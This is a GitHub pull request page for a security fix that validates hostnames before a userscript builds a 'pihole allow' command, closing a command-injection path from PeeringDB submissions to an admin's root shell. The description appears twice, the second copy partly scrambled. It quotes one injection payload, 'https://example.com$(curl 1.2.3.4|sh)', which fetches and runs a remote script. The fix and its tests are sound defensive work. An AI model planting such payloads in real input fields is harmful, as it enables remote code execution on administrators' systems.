Repository navigation
fix(dp): validate hostnames before building the pihole command - #296
Merged
Merged
Conversation
The whitelist generator interpolated an unvalidated hostname into a
`pihole allow` command that an admin copies into a root shell. The value
comes from a PeeringDB record's `website` field, and
fetchPeeringDbObjectForWhitelist deliberately queries without a status
filter so `pending` records resolve -- so it is unapproved, attacker-
controllable input.
Parseability was doing the work of validation, and it cannot: the WHATWG
URL parser accepts "$(", backticks, ";", "|", "&&" and a double quote
inside a hostname, and buildWhitelistCommand wraps the result in weak
double quotes, which do not neutralise any of them. A submitted website of
`https://example.com$(curl 1.2.3.4|sh)` produced a routine-looking command
that executed the fetched script when pasted.
The `catch` branch made it worse rather than better: when the URL parser
threw, it fell back to slicing the raw string with no checking at all, so
the inputs least likely to be well-formed received the least scrutiny.
Changes:
- Added WL_HOSTNAME_REGEX, a strict LDH check (a-z 0-9 and interior
hyphens, at least two dot-separated labels, each 1-63 chars).
- extractWhitelistHostname now returns "" for anything failing that check,
and the string-slicing catch fallback is deleted rather than tightened.
- deriveWhitelistCandidates re-validates its input and the psl.get()
result. psl is @require'd from a CDN and is handed the same untrusted
string, so its output is checked exactly like its input.
- Exported deriveWhitelistCandidates on the test hooks so the full
hostname -> candidates -> command chain can be asserted end to end.
Security:
- Closes a command-injection path from unapproved submitter input to an
admin's root shell. This was the highest-severity finding in the audit.
- Refuses rather than escapes. Quoting the metacharacters would leave the
command working for hostile input; there is no legitimate hostname that
needs them, so the safe outcome is no command at all.
- Verified end to end: the two payloads above now yield no command, while
a valid host still produces the identical command as before.
Testing:
- node --test from user.js/: 476 tests, 475 pass, 1 skipped (live tests
are opt-in), up from 473/472.
- Added cases for eight metacharacter payloads, single-label and
trailing-dot hosts, and a full-chain case asserting that a refused
hostname yields an empty command rather than a partial one.
- Corrected an existing case that asserted the vulnerable behavior as
correct ("unparseable input falls back to a best-effort strip"). That
assertion is why the fallback read as intentional.
- Confirmed the new tests are not vacuous: removing the validation makes
three of them fail; restoring it returns 15/15.
Backwards Compatibility:
- Valid hostnames are unaffected: bare hosts, full URLs, ports, paths,
case folding and subdomains all behave exactly as before.
- Behavior changes only for input that was never a valid hostname. Such a
record now shows no whitelist command instead of a malformed one, which
is the intended outcome.
Assisted-by: Claude:claude-opus-5
netravnen
force-pushed
the
fix/dp-whitelist-hostname-validation
branch
from
August 19, 2026 22:27
bb31a20 to
a402af7
Compare
netravnen
marked this pull request as ready for review
August 19, 2026 22:28
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
The whitelist generator interpolated an unvalidated hostname into a
pihole allowcommand that an admin copies into a root shell. The valuecomes from a PeeringDB record's
websitefield, andfetchPeeringDbObjectForWhitelist deliberately queries without a status
filter so
pendingrecords resolve -- so it is unapproved, attacker-controllable input.
Parseability was doing the work of validation, and it cannot: the WHATWG
URL parser accepts "$(", backticks, ";", "|", "&&" and a double quote
inside a hostname, and buildWhitelistCommand wraps the result in weak
double quotes, which do not neutralise any of them. A submitted website of
https://example.com$(curl 1.2.3.4|sh)produced a routine-looking commandthat executed the fetched script when pasted.
The
catchbranch made it worse rather than better: when the URL parserthrew, it fell back to slicing the raw string with no checking at all, so
the inputs least likely to be well-formed received the least scrutiny.
Changes:
hyphens, at least two dot-separated labels, each 1-63 chars).
and the string-slicing catch fallback is deleted rather than tightened.
result. psl is @require'd from a CDN and is handed the same untrusted
string, so its output is checked exactly like its input.
hostname -> candidates -> command chain can be asserted end to end.
Security:
admin's root shell. This was the highest-severity finding in the audit.
command working for hostile input; there is no legitimate hostname that
needs them, so the safe outcome is no command at all.
a valid host still produces the identical command as before.
Testing:
are opt-in), up from 473/472.
trailing-dot hosts, and a full-chain case asserting that a refused
hostname yields an empty command rather than a partial one.
correct ("unparseable input falls back to a best-effort strip"). That
assertion is why the fallback read as intentional.
three of them fail; restoring it returns 15/15.
Backwards Compatibility:
case folding and subdomains all behave exactly as before.
record now shows no whitelist command instead of a malformed one, which
is the intended outcome.
Assisted-by: Claude:claude-opus-5
Stack created with GitHub Stacks CLI • Give Feedback 💬